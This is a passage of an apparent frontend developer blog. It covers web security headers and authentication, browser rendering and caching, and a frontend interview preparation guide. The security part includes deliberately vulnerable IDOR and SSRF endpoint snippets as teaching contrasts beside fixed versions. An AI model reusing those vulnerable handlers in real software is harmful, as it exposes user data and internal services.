  • ALLOW-FROM uri: Page can only be displayed in a frame on the specified origin

CSP frame-ancestors

Modern alternative to X-Frame-Options:

1
Content-Security-Policy: frame-ancestors 'none';

Options:

  • 'none': No embedding allowed
  • 'self': Same-origin embedding only
  • domain.com: Specific domains allowed

JavaScript Frame-Busting

1
2
3
4
// Basic frame-busting code
if (window !== window.top) {
window.top.location = window.location;
}

Man-in-the-Middle (MITM) Attacks

MITM attacks occur when attackers position themselves between the user and the server to intercept communications.

Prevention

1. HTTPS

Always use HTTPS to encrypt data in transit:

1
2
3
4
// Redirect HTTP to HTTPS
if (location.protocol !== 'https:') {
location.replace(`https:${location.href.substring(location.protocol.length)}`);
}

2. HTTP Strict Transport Security (HSTS)

Instructs browsers to only use HTTPS:

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

3. Certificate Pinning

Validates that the server’s certificate matches an expected value:

1
2
3
4
5
// Using fetch with certificate verification (simplified example)
fetch('https://example.com/api', {
method: 'GET',
// Modern browsers handle certificate validation automatically
});

Authentication and Authorization

Secure Password Handling

Never store or transmit passwords in plaintext:

1
2
3
4
5
6
7
8
9
10
// Client-side password handling
async function hashPassword(password) {
// Note: This is just for example. Real password hashing should be done server-side!
const encoder = new TextEncoder();
const data = encoder.encode(password);
const hash = await crypto.subtle.digest('SHA-256', data);
return Array.from(new Uint8Array(hash))
.map(b => b.toString(16).padStart(2, '0'))
.join('');
}

JWT (JSON Web Tokens)

Secure method for representing claims between parties:

1
2
3
4
5
6
7
8
9
// Storing JWT
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Using JWT for authentication
fetch('/api/protected-resource', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
});

Security Considerations for JWT

  1. Store tokens in HttpOnly cookies to prevent XSS attacks
  2. Use short expiration times
  3. Implement token refresh mechanisms
  4. Validate tokens on the server

OAuth 2.0 and OpenID Connect

Standard protocols for authorization and authentication:

1
2
3
4
5
6
7
8
9
// Redirect to OAuth provider
function redirectToLogin() {
window.location.href =
'https://auth-provider.com/oauth/authorize' +
'?client_id=YOUR_CLIENT_ID' +
'&redirect_uri=https://your-app.com/callback' +
'&response_type=code' +
'&scope=profile email';
}

Content Security Vulnerabilities

Insecure Direct Object References (IDOR)

Exposing internal implementation objects to users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Vulnerable code
app.get('/api/documents/:id', (req, res) => {
// No verification that the user is allowed to access this document
getDocument(req.params.id).then(doc => res.json(doc));
});

// Better approach
app.get('/api/documents/:id', (req, res) => {
// Verify user has access to the document
if (!userCanAccessDocument(req.user, req.params.id)) {
return res.status(403).json({ error: 'Forbidden' });
}
getDocument(req.params.id).then(doc => res.json(doc));
});

Server-Side Request Forgery (SSRF)

Tricking a server into making unintended requests:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Vulnerable code
app.get('/proxy', (req, res) => {
// No validation of the URL
fetch(req.query.url).then(response => response.text()).then(text => res.send(text));
});

// Better approach
app.get('/proxy', (req, res) => {
const url = req.query.url;

// Validate URL against whitelist
if (!isUrlWhitelisted(url)) {
return res.status(403).json({ error: 'URL not allowed' });
}

fetch(url).then(response => response.text()).then(text => res.send(text));
});

Client-Side Data Validation

Always validate data on both client and server:

1
2
3
4
5
6
7
8
// Client-side validation
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}

// But remember: client-side validation is for UX, not security
// Always validate on the server too!

Third-Party Dependencies

Dependency Security

Regularly update and audit dependencies:

1
2
3
4
5
# Using npm to audit dependencies
npm audit

# Using npm to fix vulnerabilities
npm audit fix

Subresource Integrity (SRI)

Ensures external resources haven’t been tampered with:

1
2
3
4
5
<script 
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

Security Testing

Regular Security Audits

Conduct regular security reviews:

  1. Static Analysis Security Testing (SAST)
  2. Dynamic Analysis Security Testing (DAST)
  3. Penetration Testing

OWASP Top 10

Familiarize yourself with the Open Web Application Security Project (OWASP) Top 10 vulnerabilities:

  1. Injection
  2. Broken Authentication
  3. Sensitive Data Exposure
  4. XML External Entities (XXE)
  5. Broken Access Control
  6. Security Misconfiguration
  7. Cross-Site Scripting (XSS)
  8. Insecure Deserialization
  9. Using Components with Known Vulnerabilities
  10. Insufficient Logging & Monitoring

Best Practices Checklist

  • Implement proper input validation and output encoding
  • Use HTTPS for all communications
  • Set secure headers (CSP, HSTS, X-Frame-Options)
  • Implement CSRF protection mechanisms
  • Use secure cookie attributes (HttpOnly, Secure, SameSite)
  • Avoid storing sensitive information in localStorage/sessionStorage
  • Implement proper authentication and authorization
  • Regularly update and audit dependencies
  • Use Content Security Policy to restrict resource loading
  • Implement proper error handling without leaking sensitive information
  • Validate user input on both client and server
  • Use prepared statements for database queries
  • Implement rate limiting to prevent brute force attacks
  • Conduct regular security testing

Learning Resources

  • OWASP Web Security Testing Guide
  • MDN Web Security
  • Google Web Fundamentals - Security
  • Content Security Policy Reference
  • Web.dev Security
  • JWT.io - Learn about JSON Web Tokens

Understanding security fundamentals is essential for building robust web applications that protect user data and maintain trust. Always prioritize security in your development practices.

  • Web Development
  • Security
  • XSS
  • CSRF
  • Authentication

show all >>

Browser Principles

  2023-06-13
字数统计: 2.1k字   |   阅读时长: 12min

Browser Principles

Understanding how browsers work internally is essential for frontend developers to write efficient code and diagnose performance issues. This guide covers the key principles of modern web browsers.

Browser Architecture

Multi-Process Architecture

Modern browsers like Chrome use a multi-process architecture for better security, stability, and performance:

  • Browser Process: Controls the UI, handles user inputs, manages tabs, and coordinates with other processes
  • Renderer Process: Responsible for rendering web pages (one per tab or iframe in most cases)
  • Plugin Process: Runs plugins like Flash (increasingly rare)
  • GPU Process: Handles GPU tasks for rendering
  • Utility Processes: Handle various tasks like network requests, audio, etc.

Benefits of multi-process architecture:

  • If one tab crashes, other tabs remain unaffected
  • Security through process isolation (site isolation)
  • Better performance through parallelization

Threads in the Renderer Process

The renderer process contains several important threads:

  • Main Thread: Handles most tasks like HTML parsing, DOM tree construction, style calculations, layout, painting, and JavaScript execution
  • Compositor Thread: Creates composite layers and sends them to the GPU
  • Raster Threads: Perform rasterization of layers
  • Worker Threads: Run Web Workers, Service Workers, etc.

Rendering Pipeline

When a browser displays a webpage, it follows this rendering pipeline:

1. Navigation

  • User enters a URL
  • Browser process initiates a DNS lookup
  • Establishes TCP connection
  • Performs TLS handshake (for HTTPS)
  • Sends HTTP request
  • Receives response headers and body

2. DOM Construction

  • HTML Parsing: Converts HTML markup into a parse tree
  • DOM Tree Building: Creates the Document Object Model (DOM) tree
  • JavaScript Processing: If the parser encounters a script tag, it stops parsing, downloads (if needed), and executes the script before continuing
  • CSSOM Construction: Builds the CSS Object Model from stylesheets
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div>
<h1>Hello World</h1>
<p>This is some text.</p>
</div>
<script src="script.js"></script>
</body>
</html>

For the above HTML, the DOM tree would roughly look like:

1
2
3
4
5
6
7
8
html
├── head
│ └── link
└── body
├── div
│ ├── h1 (Hello World)
│ └── p (This is some text.)
└── script

3. Render Tree Construction

  • Combines DOM and CSSOM
  • Only includes visible elements (excludes <head>, hidden elements, etc.)
  • Applies styles to each visible node

4. Layout (Reflow)

  • Calculates the exact position and size of each element in the viewport
  • Determines the location of lines, positions, widths, heights, etc.
  • Outputs a “box model” with precise coordinates

5. Paint

  • Creates layers if needed
  • Fills in pixels for each visual part of the elements (text, colors, borders, etc.)
  • Usually happens on multiple layers

6. Compositing

  • Combines the painted layers into the final image displayed on screen
  • Handles elements with different compositing properties (e.g., opacity, transform)

Critical Rendering Path Optimization

The Critical Rendering Path (CRP) is the sequence of steps the browser goes through to convert HTML, CSS, and JavaScript into actual pixels on the screen.

Optimizing the CRP

  1. Minimize bytes: Reduce file sizes through compression
  2. Reduce critical resources: Load only what’s needed for initial render
  3. Shorten the path length: Optimize the order of loading resources
1
2
3
4
5
6
<!-- Optimizing CSS delivery -->
<link rel="stylesheet" href="critical.css">
<link rel="stylesheet" href="non-critical.css" media="print" onload="this.media='all'">

<!-- Optimizing JS delivery -->
<script src="app.js" defer></script>

Script Loading Strategies

Blocking vs. Non-Blocking Scripts

By default, scripts block HTML parsing while they download and execute:

1
2
<!-- Blocking script -->
<script src="app.js"></script>

Options to prevent blocking:

1
2
3
4
5
<!-- Deferred script - loads in parallel with HTML parsing and executes after parsing -->
<script src="app.js" defer></script>

<!-- Async script - loads in parallel with HTML parsing and executes as soon as available -->
<script src="analytics.js" async></script>

defer vs. async

  • defer:

    • Downloads in parallel with HTML parsing
    • Executes in order after HTML is parsed but before DOMContentLoaded
    • Preserves execution order of multiple scripts
    • Ideal for scripts that need the full DOM and/or depend on each other
  • async:

    • Downloads in parallel with HTML parsing
    • Executes as soon as it’s downloaded, potentially before HTML is fully parsed
    • Does not guarantee execution order
    • Best for independent scripts like analytics

Module Scripts

1
<script type="module" src="app.js"></script>

Module scripts:

  • Are deferred by default
  • Use strict mode by default
  • Can use import/export
  • Are executed only once even if included multiple times

DOM Events

Event Flow Phases

DOM events follow a three-phase propagation model:

  1. Capture Phase: Event travels from the window down to the target element
  2. Target Phase: Event reaches the target element
  3. Bubbling Phase: Event bubbles up from the target to the window
1
2
3
4
5
6
7
8
9
// The third parameter (true) indicates capture phase
document.addEventListener('click', function(event) {
console.log('Capture phase');
}, true);

// The third parameter (false or omitted) indicates bubbling phase
element.addEventListener('click', function(event) {
console.log('Bubbling phase');
}, false);

Event Delegation

Event delegation leverages event bubbling to handle events at a higher level:

1
2
3
4
5
6
7
// Instead of adding event listeners to all list items
document.querySelector('ul').addEventListener('click', function(event) {
if (event.target.tagName === 'LI') {
// Handle the click on the list item
console.log('Clicked on:', event.target.textContent);
}
});

Benefits of event delegation:

  • Fewer event listeners = better performance
  • Dynamically added elements are automatically handled
  • Less memory usage

Stopping Event Propagation

1
2
3
4
5
6
7
8
9
10
element.addEventListener('click', function(event) {
// Prevents further propagation in capturing and bubbling phases
event.stopPropagation();

// Prevents any other listeners on the same element from being called
event.stopImmediatePropagation();

// For form submissions, links, etc.
event.preventDefault();
});

Browser Storage

Cookies

1
2
3
4
5
// Setting a cookie
document.cookie = "name=value; expires=Fri, 31 Dec 2023 23:59:59 GMT; path=/; domain=example.com; secure; samesite=strict";

// Reading cookies
const cookies = document.cookie;

Limitations:

  • ~4KB storage limit
  • Sent with every HTTP request (increasing bandwidth)
  • Can be secured with HttpOnly, Secure flags
  • SameSite attribute helps prevent CSRF attacks

localStorage and sessionStorage

1
2
3
4
5
6
7
8
9
// localStorage (persists across browser sessions)
localStorage.setItem('key', 'value');
const value = localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();

// sessionStorage (cleared when page session ends)
sessionStorage.setItem('key', 'value');
const tempValue = sessionStorage.getItem('key');

Limitations:

  • ~5MB storage limit (varies by browser)
  • Synchronous API (can block the main thread)
  • Limited to same-origin
  • Only stores strings (objects need JSON serialization)

IndexedDB

More powerful, asynchronous storage solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const request = indexedDB.open('myDatabase', 1);

request.onupgradeneeded = function(event) {
const db = event.target.result;
const objectStore = db.createObjectStore('customers', { keyPath: 'id' });
objectStore.createIndex('name', 'name', { unique: false });
};

request.onsuccess = function(event) {
const db = event.target.result;
const transaction = db.transaction(['customers'], 'readwrite');
const objectStore = transaction.objectStore('customers');

objectStore.add({ id: 1, name: 'John', email: 'john@example.com' });

const getRequest = objectStore.get(1);
getRequest.onsuccess = function(event) {
console.log(event.target.result);
};
};

Benefits of IndexedDB:

  • Stores significant amounts of structured data
  • Supports transactions for data integrity
  • Asynchronous API doesn’t block the main thread
  • Can store almost any type of data

Cache API

Used with Service Workers for offline capabilities:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// In a service worker
self.addEventListener('install', function(event) {
event.waitUntil(
caches.open('v1').then(function(cache) {
return cache.addAll([
'/',
'/styles.css',
'/app.js',
'/image.jpg'
]);
})
);
});

self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request).then(function(response) {
return response || fetch(event.request);
})
);
});

Browser Caching

HTTP Caching

Cache-Control Header

1
Cache-Control: max-age=3600, must-revalidate

Common directives:

  • max-age: Seconds the resource is fresh
  • no-cache: Must validate with server before using cached version
  • no-store: Don’t cache at all
  • public: Any cache can store the response
  • private: Only browser can cache, not intermediaries
  • must-revalidate: Must check if stale before using

ETag and If-None-Match

1
2
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

The server can respond with 304 Not Modified if the resource hasn’t changed.

Last-Modified and If-Modified-Since

1
2
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

Types of Caching

  1. Browser Cache: Stores resources on the user’s device
  2. Proxy Caches: Intermediate caches between browser and origin server
  3. CDN Caches: Distributed caches that serve content from locations closer to the user

Strong vs. Weak Caching

Strong Caching (with Cache-Control): Browser uses cached version without checking with server until expiration.

Weak Caching (Conditional Requests): Browser verifies if cached resource is still valid using ETags or Last-Modified.

Browser Security Model

Same-Origin Policy

Prevents a script from one origin from accessing data from another origin. Origins consist of:

  • Protocol (http, https)
  • Domain (example.com)
  • Port (80, 443)
1
2
// This will fail if the origins don't match
fetch('https://another-domain.com/data').then(response => response.json());

Cross-Origin Resource Sharing (CORS)

Relaxes the same-origin policy using HTTP headers:

1
2
3
4
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

For complex requests, browsers send a preflight OPTIONS request first.

Content Security Policy (CSP)

Restricts resource loading and execution:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; img-src *

Can be set via HTTP header or meta tag:

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

Performance Considerations

Reflow and Repaint

Reflow (or Layout) is recalculating element positions and dimensions. It’s triggered by:

  • DOM manipulation (adding/removing nodes)
  • Changing element dimensions or position
  • Changing font, text content, or images that affect dimensions
  • Querying certain element properties (offsetHeight, getComputedStyle, etc.)

Repaint happens when visual styles change without affecting layout:

  • Color changes
  • Visibility changes
  • Background image changes

Reflows are more expensive than repaints. Minimize them by:

1
2
3
4
5
6
7
8
9
// Bad: Causes multiple reflows
element.style.width = '100px';
element.style.height = '100px';
element.style.margin = '10px';

// Better: Batch style changes
element.style.cssText = 'width: 100px; height: 100px; margin: 10px;';
// Or use class changes
element.className = 'my-styled-element';

Rendering Performance Tips

  1. Reduce layout thrashing: Batch DOM reads and writes
  2. Use will-change for animations: Hints the browser about upcoming changes
  3. Use transform and opacity for animations: These can be offloaded to the compositor thread
  4. Avoid forced synchronous layouts: Don’t mix reads and writes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Bad: Causes layout thrashing
for (let i = 0; i < elements.length; i++) {
const height = elements[i].offsetHeight; // Read (forces layout)
elements[i].style.height = (height * 2) + 'px'; // Write (invalidates layout)
}

// Better: Separate reads and writes
const heights = [];
for (let i = 0; i < elements.length; i++) {
heights.push(elements[i].offsetHeight); // Read
}
for (let i = 0; i < elements.length; i++) {
elements[i].style.height = (heights[i] * 2) + 'px'; // Write
}

requestAnimationFrame

Use for smooth visual updates:

1
2
3
4
5
6
7
8
9
10
11
function animate() {
// Update DOM here
element.style.transform = `translateX(${position}px)`;
position += 5;

if (position < 1000) {
requestAnimationFrame(animate);
}
}

requestAnimationFrame(animate);

Benefits:

  • Syncs with the browser’s rendering cycle
  • Pauses in inactive tabs
  • More efficient than setInterval/setTimeout for animations

Browser DevTools

Modern browsers provide powerful developer tools for debugging rendering issues:

  • Performance Panel: Records and analyzes runtime performance
  • Rendering Tool: Visualizes repaints, layout shifts, and layer borders
  • Memory Panel: Investigates memory issues and leaks
  • Network Panel: Analyzes resource loading and caching
  • Application Panel: Inspects storage, service workers, and manifest

Learning Resources

  • Chrome Developers - Inside Browser
  • MDN Web Docs - Browser Rendering
  • web.dev - Rendering Performance
  • HTML5Rocks - Reflows & Repaints
  • MDN Web Docs - HTTP Caching
  • Chrome DevTools Documentation

Understanding browser principles helps you write more efficient code, debug complex issues, and optimize user experience. These concepts are particularly important for frontend interviews at top companies.

  • Web Development
  • Browser
  • Rendering
  • Performance

show all >>

Frontend Interview Preparation Guide

  2023-06-12
字数统计: 2.2k字   |   阅读时长: 13min

Frontend Interview Preparation Guide

This guide covers essential topics for frontend interviews, focusing on conceptual understanding rather than coding challenges. It’s designed to help you prepare for interviews at companies like Kuaishou that focus on React, Next.js, and general frontend knowledge.

HTML & CSS Fundamentals

Critical Rendering Path

  • Document Object Model (DOM): How browsers parse HTML into a tree structure
  • CSS Object Model (CSSOM): How CSS is processed
  • Render Tree: Combination of DOM and CSSOM
  • Layout/Reflow: Calculating element positions and dimensions
  • Paint: Filling in pixels
  • Composite: Layering elements in the correct order

CSS Specificity

  • Specificity hierarchy: Inline styles > IDs > Classes/attributes/pseudo-classes > Elements
  • Calculating specificity: 1-0-0-0 for inline, 0-1-0-0 for ID, 0-0-1-0 for class, 0-0-0-1 for element
  • !important: Overrides normal rules but should be avoided

Box Model

  • Content, padding, border, and margin: How they affect element sizing
  • box-sizing: content-box vs. border-box
  • Collapsing margins: When and why vertical margins collapse

Positioning and Layout

  • Static, relative, absolute, fixed, sticky: Different positioning methods
  • Flexbox: Main axis, cross axis, flex-grow, flex-shrink, flex-basis
  • Grid: Templates, areas, auto-placement, fractional units
  • Media queries: Responsive design implementation

CSS Preprocessors

  • Sass/SCSS: Variables, nesting, mixins, partials, inheritance
  • Less: Similar to Sass with different syntax
  • Benefits: Maintainability, reusability, organization

JavaScript Core Concepts

Closures

  • Definition: Function + lexical environment where it was declared
  • Use cases: Data privacy, partial application, maintaining state
  • Memory implications: Preventing memory leaks
1
2
3
4
5
6
7
8
9
10
function createCounter() {
let count = 0;
return function() {
return ++count;
};
}

const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2

Scope

  • Global scope: Variables available throughout code
  • Function scope: Variables defined within functions
  • Block scope: Variables defined within blocks (let, const)
  • Lexical scope: How nested functions access variables from parent scopes

Prototypes and Inheritance

  • Prototype chain: How JavaScript objects inherit properties
  • Constructor functions: Creating objects with shared methods
  • Object.create(): Creating objects with specific prototypes
  • Class syntax: Syntactic sugar over prototypal inheritance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Prototypal inheritance
function Person(name) {
this.name = name;
}

Person.prototype.sayHello = function() {
return `Hello, my name is ${this.name}`;
};

// Class syntax (ES6+)
class Person {
constructor(name) {
this.name = name;
}

sayHello() {
return `Hello, my name is ${this.name}`;
}
}

this Keyword

  • Global context: this refers to the global object
  • Function context: Depends on how the function is called
  • Method context: this refers to the object the method belongs to
  • Arrow functions: this is lexically bound to surrounding context
  • Binding methods: bind(), call(), apply()

Event Loop and Asynchronous JavaScript

  • Call stack: Where function calls are tracked
  • Task queue: Where callbacks from async operations wait
  • Microtask queue: Higher priority queue (Promises)
  • Event loop algorithm: How tasks get moved to the call stack
  • setTimeout, Promises, async/await: Different ways to handle async code
1
2
3
4
5
6
7
8
9
10
11
12
13
console.log('Start');

setTimeout(() => {
console.log('Timeout');
}, 0);

Promise.resolve().then(() => {
console.log('Promise');
});

console.log('End');

// Output: Start, End, Promise, Timeout

ES6+ Features

  • let/const: Block-scoped variables
  • Arrow functions: Shorter syntax and lexical this
  • Template literals: String interpolation
  • Destructuring: Extracting values from objects and arrays
  • Spread/rest: Working with multiple values
  • Default parameters: Fallback values for function arguments
  • Classes: Syntactic sugar for constructor functions
  • Modules: Import/export syntax
  • Optional chaining: Safe access to nested properties obj?.prop?.field
  • Nullish coalescing: Default values only for null/undefined value ?? default

DOM and Browser APIs

DOM Manipulation

  • Selectors: getElementById, querySelector, etc.
  • Creating/modifying elements: createElement, appendChild, innerHTML, textContent
  • Event handling: addEventListener, event delegation, bubbling vs. capturing
  • Performance concerns: Batch DOM updates, documentFragment

Browser Storage

  • Cookies: Small, sent with HTTP requests, security concerns
  • localStorage: Persistent, larger capacity (5MB), synchronous
  • sessionStorage: Cleared when session ends
  • IndexedDB: For larger structured data
  • Cache API: Used with Service Workers

Browser Rendering Performance

  • Layout thrashing: Forcing multiple reflows
  • Debouncing and throttling: Limiting frequent events
  • requestAnimationFrame: Syncing with the browser’s rendering cycle
  • Web Workers: Offloading heavy computation

React Deep Dive

Virtual DOM

  • Concept: Lightweight representation of the actual DOM
  • Reconciliation: How React efficiently updates the DOM
  • Fiber architecture: Enables concurrent mode and time-slicing
  • Keys: How React tracks element identity

Component Types

  • Function vs. Class components: Different approaches, same result
  • Pure components: Automatic shallow comparison optimization
  • Higher-order components (HOCs): Functions that enhance components
  • Render props: Sharing code via props
  • Compound components: Related components that work together

State Management

  • Component state: Local state within components
  • Lifting state up: Sharing state between components
  • Context API: Avoiding prop drilling
  • Redux: Predictable state container
    • Actions, reducers, store, middleware
    • Redux Toolkit simplifications
  • Zustand/Recoil/Jotai: Modern alternatives

Hooks

  • useState: Managing local state
  • useEffect: Side effects (data fetching, subscriptions)
  • useContext: Consuming React context
  • useReducer: Complex state logic
  • useCallback/useMemo: Performance optimizations
  • useRef: Persisting mutable values
  • Custom hooks: Extracting reusable logic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function useLocalStorage(key, initialValue) {
const [storedValue, setStoredValue] = useState(() => {
try {
const item = window.localStorage.getItem(key);
return item ? JSON.parse(item) : initialValue;
} catch (error) {
console.log(error);
return initialValue;
}
});

const setValue = value => {
try {
const valueToStore = value instanceof Function ? value(storedValue) : value;
setStoredValue(valueToStore);
window.localStorage.setItem(key, JSON.stringify(valueToStore));
} catch (error) {
console.log(error);
}
};

return [storedValue, setValue];
}

React Performance Optimization

  • Preventing unnecessary renders: React.memo
  • Code splitting: React.lazy and Suspense
  • Virtualization: Efficiently rendering large lists
  • Web Vitals: Core Web Vitals metrics in React applications
  • React Profiler: Identifying performance bottlenecks

React Router

  • Declarative routing: Managing navigation in SPAs
  • Route parameters and query strings: Accessing URL data
  • Nested routes: Creating complex layouts
  • Navigation guards: Preventing unauthorized access
  • Code-splitting at route level: Reducing bundle size

Next.js Concepts

Rendering Methods

  • Server-side rendering (SSR): getServerSideProps
  • Static site generation (SSG): getStaticProps, getStaticPaths
  • Incremental Static Regeneration (ISR): Revalidation
  • Client-side rendering: When to use it
  • Server Components vs. Client Components: Next.js 13+ App Router

Data Fetching Strategies

  • API routes: Creating backend endpoints
  • SWR/React Query: Data fetching and caching
  • GraphQL integration: Working with Apollo or Relay
  • Serverless functions: Using Next.js as a backend

Advanced Next.js Features

  • Image optimization: next/image
  • Middleware: Customizing request handling
  • Internationalization: Multi-language support
  • Authentication patterns: Various approaches
  • Deployment strategies: Vercel vs. self-hosting

Network and Protocols

HTTP

  • Request/response cycle: How web communication works
  • HTTP methods: GET, POST, PUT, PATCH, DELETE
  • Status codes: 200s, 300s, 400s, 500s
  • Headers: Content-Type, Authorization, Cache-Control

HTTP/2 and HTTP/3

  • Multiplexing: Multiple requests over one connection
  • Server push: Proactively sending resources
  • Header compression: Reducing overhead
  • QUIC protocol: UDP-based transport (HTTP/3)

RESTful Services

  • Resource-oriented architecture: Designing APIs
  • Statelessness: No client session on server
  • HATEOAS: Hypermedia as the engine of application state
  • GraphQL alternatives: Different approach to APIs

Caching

  • Browser cache: Cache-Control, ETag, Last-Modified
  • CDN caching: Edge distribution of assets
  • Service Worker cache: Offline capabilities
  • Cache invalidation strategies: Time-based, version-based

CORS

  • Same-origin policy: Security restriction
  • Cross-Origin Resource Sharing: Controlled relaxation
  • Preflight requests: OPTIONS method for complex requests
  • Credentials: Including cookies in cross-origin requests

Web Security

XSS (Cross-Site Scripting)

  • Stored XSS: Malicious script stored on server
  • Reflected XSS: Script included in request
  • DOM-based XSS: Vulnerability in client-side code
  • Prevention: Content Security Policy, sanitization, escaping

CSRF (Cross-Site Request Forgery)

  • Attack mechanism: Tricking users into unwanted actions
  • Prevention: CSRF tokens, SameSite cookies
  • Double Submit Cookie: Additional protection layer

Authentication Best Practices

  • JWT: Structure, signing, common pitfalls
  • OAuth 2.0/OpenID Connect: Delegated authentication
  • Secure cookies: HttpOnly, Secure, SameSite flags
  • Multi-factor authentication: Additional security layer

Content Security Policy

  • Script-src: Controlling JavaScript sources
  • Frame-ancestors: Preventing clickjacking
  • Report-uri: Monitoring violations
  • Implementation: Headers vs. meta tags

Performance Optimization

Core Web Vitals

  • Largest Contentful Paint (LCP): Loading performance
  • First Input Delay (FID): Interactivity
  • Cumulative Layout Shift (CLS): Visual stability
  • Interaction to Next Paint (INP): Responsiveness to interactions

Resource Optimization

  • Images: Format selection, compression, responsive images
  • JavaScript: Bundling, code splitting, tree shaking
  • CSS: Critical CSS, removing unused styles
  • Fonts: Font loading strategies, subset embedding

Caching Strategies

  • HTTP caching: Cache-Control, ETag
  • Service Worker caching: Cache API, strategies
  • Application state caching: Memoization, persistent storage

Lazy Loading

  • Images and iframes: Native lazy loading
  • Components: Dynamic imports with React.lazy
  • Routes: Code splitting in routers
  • Intersection Observer API: Custom lazy loading

Performance Measurement

  • Lighthouse: Automated audits
  • Chrome DevTools: Performance panel, Memory panel
  • Web Vitals measurement: Real User Monitoring (RUM)
  • Custom performance marks: Performance API

Frontend Architecture

Component Design

  • Atomic design: Atoms, molecules, organisms, templates, pages
  • Micro-frontends: Breaking monoliths into smaller apps
  • Design systems: Consistent UI/UX across applications
  • Component libraries: Building reusable component collections

State Management Approaches

  • Centralized vs. distributed: Different paradigms
  • Unidirectional data flow: Predictable state changes
  • Immutability: Benefits for state management
  • Reactive programming: Working with observable streams

Testing Strategies

  • Unit testing: Testing isolated components
  • Integration testing: Testing component interactions
  • End-to-end testing: Testing entire flows
  • Testing Library, Jest, Cypress: Popular tools
  • Test-driven development: Writing tests before implementation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// React Testing Library example
import { render, screen, fireEvent } from '@testing-library/react';
import Counter from './Counter';

test('increments counter when button is clicked', () => {
render(<Counter />);

const button = screen.getByRole('button', { name: /increment/i });
const counter = screen.getByText(/count: 0/i);

fireEvent.click(button);

expect(screen.getByText(/count: 1/i)).toBeInTheDocument();
});

Build Tools and Module Bundlers

  • Webpack, Vite, esbuild: Different bundling approaches
  • Babel: JavaScript transpilation
  • PostCSS: CSS transformations
  • Code splitting: Optimizing bundle size
  • Production optimizations: Minification, compression

CI/CD for Frontend

  • Continuous integration: Automated testing on commits
  • Continuous deployment: Automated deployments
  • Preview environments: Testing changes before production
  • A/B testing infrastructure: Testing features with real users

Behavioral Interview Preparation

Talking About Past Projects

  • STAR method: Situation, Task, Action, Result
  • Focus on impact: Business value of your work
  • Technical challenges: How you overcame difficulties
  • Collaboration: Working with other teams/disciplines

System Design Questions

  • Requirements gathering: Clarifying the problem
  • User flows: Mapping out user interactions
  • Architecture decisions: Explaining your choices
  • Trade-offs: Acknowledging limitations
  • Scalability considerations: Planning for growth

Common Frontend Design Questions

  • News feed design: Infinite scrolling, updates
  • Chat application: Real-time considerations
  • E-commerce product page: Performance, accessibility
  • Dashboard with real-time updates: Data visualization

Culture Fit Questions

  • Teamwork examples: Collaboration stories
  • Conflict resolution: Handling disagreements
  • Learning approach: How you stay updated
  • Work style preferences: Remote/office, communication

Interview Preparation Checklist

Before the Interview

  • Research the company and their products
  • Review the job description for required skills
  • Prepare questions to ask interviewers
  • Review recent portfolio projects
  • Practice explaining technical concepts simply
  • Set up your environment for potential coding exercises

Technical Review

  • HTML semantics and accessibility
  • CSS layouts and responsive design
  • JavaScript core concepts
  • React fundamentals and patterns
  • Performance optimization techniques
  • Browser APIs and DOM manipulation
  • Network requests and REST APIs
  • State management approaches

Mock Interview Practice

  • Technical explanation practice
  • Whiteboarding practice
  • Coding exercise practice
  • System design practice
  • Behavioral question practice

Common Interview Questions

HTML & CSS

  1. How does the browser’s rendering engine work?
  2. Explain the CSS box model.
  3. How would you make a website responsive?
  4. What are the different ways to visually hide content?
  5. Explain CSS specificity and the cascade.

JavaScript

  1. What is closure and how would you use it?
  2. Explain event delegation.
  3. What is the difference between == and ===?
  4. How does prototypal inheritance work?
  5. Explain the event loop in JavaScript.
  6. What is hoisting?
  7. Explain async/await and how it relates to Promises.

React

  1. How does the Virtual DOM work?
  2. Explain the component lifecycle (or hooks equivalents).
  3. What are keys in React and why are they important?
  4. How would you optimize a React application’s performance?
  5. What is the difference between state and props?
  6. Explain context API and when you would use it.
  7. How do you handle side effects in React?

Next.js

  1. Explain the different rendering methods in Next.js.
  2. How does Next.js handle routing?
  3. What are API routes in Next.js?
  4. Explain the purpose of _app.js and _document.js.
  5. How would you implement authentication in a Next.js app?

Web Performance

  1. How would you diagnose and fix performance issues?
  2. Explain Core Web Vitals and how to improve them.
  3. What techniques would you use to optimize loading times?
  4. How does code splitting improve performance?
  5. Explain browser caching and how to leverage it.

Architecture & Design

  1. How would you structure a large-scale React application?
  2. What state management approach would you use and why?
  3. How would you design a component library?
  4. Explain your testing strategy for a frontend application.
  5. How would you handle API integration in a frontend application?

Final Tips

  1. Be honest about your knowledge: It’s okay to say “I don’t know” and explain how you would find the answer.
  2. Think aloud: Explain your thought process during coding or design questions.
  3. Ask clarifying questions: Ensure you understand what the interviewer is asking.
